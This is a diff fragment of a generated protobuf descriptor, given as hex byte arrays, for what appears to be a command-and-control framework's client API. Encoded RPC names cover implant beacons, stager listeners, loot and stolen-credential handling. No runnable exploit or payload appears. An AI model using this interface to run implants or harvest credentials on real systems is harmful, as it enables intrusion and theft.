0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, - 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, - 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, - 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, - 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, - 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, 0x72, 0x74, 0x54, 0x43, 0x50, 0x53, 0x74, - 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, 0x63, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, + 0x61, 0x6e, 0x64, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x40, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x30, 0x0a, 0x0a, + 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2f, + 0x0a, 0x09, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x10, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, + 0x2d, 0x0a, 0x08, 0x52, 0x6d, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, + 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, + 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, + 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x42, 0x0a, 0x14, 0x47, 0x65, 0x74, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x3e, 0x0a, + 0x10, 0x43, 0x61, 0x6e, 0x63, 0x65, 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, + 0x6b, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x33, 0x0a, + 0x0c, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x0f, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x6f, + 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x2a, 0x0a, 0x07, 0x47, 0x65, 0x74, 0x4a, 0x6f, 0x62, 0x73, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, 0x73, 0x12, + 0x32, 0x0a, 0x07, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x4a, 0x6f, 0x62, 0x52, 0x65, 0x71, + 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, + 0x4a, 0x6f, 0x62, 0x12, 0x46, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4d, 0x54, 0x4c, 0x53, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, + 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x40, 0x0a, 0x0f, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x17, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x43, 0x0a, + 0x10, 0x53, 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, + 0x65, 0x72, 0x12, 0x47, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, + 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x46, 0x0a, 0x11, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, + 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x12, 0x4f, 0x0a, 0x16, 0x53, 0x74, 0x61, 0x72, 0x74, 0x54, 0x43, 0x50, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, + 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, + 0x65, 0x6e, 0x65, 0x72, 0x12, 0x50, 0x0a, 0x17, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, + 0x50, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, + 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, + 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x12, 0x50, 0x0a, 0x17, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, - 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x1b, - 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x64, 0x64, - 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, - 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, - 0x12, 0x29, 0x0a, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2c, 0x0a, 0x0a, 0x4c, - 0x6f, 0x6f, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x29, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, 0x41, 0x64, + 0x64, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, + 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, + 0x74, 0x12, 0x29, 0x0a, 0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x6d, 0x12, 0x0e, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2c, 0x0a, 0x0a, + 0x4c, 0x6f, 0x6f, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x0b, 0x4c, 0x6f, + 0x6f, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x0b, 0x4c, 0x6f, 0x6f, - 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x1a, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, 0x74, - 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, 0x05, 0x43, 0x72, 0x65, 0x64, 0x73, - 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, 0x0a, 0x08, 0x43, 0x72, 0x65, 0x64, - 0x73, 0x41, 0x64, 0x64, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x31, 0x0a, 0x07, - 0x43, 0x72, 0x65, 0x64, 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, - 0x35, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x15, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2d, 0x0a, 0x07, 0x4c, 0x6f, 0x6f, + 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x2f, 0x0a, 0x05, 0x43, 0x72, 0x65, 0x64, + 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, + 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x32, 0x0a, 0x08, 0x43, 0x72, 0x65, + 0x64, 0x73, 0x41, 0x64, 0x64, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x31, 0x0a, + 0x07, 0x43, 0x72, 0x65, 0x64, 0x73, 0x52, 0x6d, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x12, 0x35, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x64, 0x73, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, + 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, + 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x72, + 0x65, 0x64, 0x42, 0x79, 0x49, 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, + 0x61, 0x6c, 0x12, 0x41, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, + 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, - 0x74, 0x69, 0x61, 0x6c, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, - 0x64, 0x42, 0x79, 0x49, 0x44, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, - 0x6c, 0x12, 0x41, 0x0a, 0x12, 0x47, 0x65, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, + 0x74, 0x69, 0x61, 0x6c, 0x73, 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, 0x74, 0x50, 0x6c, 0x61, 0x69, + 0x6e, 0x74, 0x65, 0x78, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, + 0x73, 0x12, 0x40, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, 0x6e, 0x69, 0x66, 0x66, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, - 0x69, 0x61, 0x6c, 0x73, 0x12, 0x4a, 0x0a, 0x1b, 0x47, 0x65, 0x74, 0x50, 0x6c, 0x61, 0x69, 0x6e, - 0x74, 0x65, 0x78, 0x74, 0x43, 0x72, 0x65, 0x64, 0x73, 0x42, 0x79, 0x48, 0x61, 0x73, 0x68, 0x54, - 0x79, 0x70, 0x65, 0x12, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x73, - 0x12, 0x40, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x64, 0x73, 0x53, 0x6e, 0x69, 0x66, 0x66, 0x48, 0x61, - 0x73, 0x68, 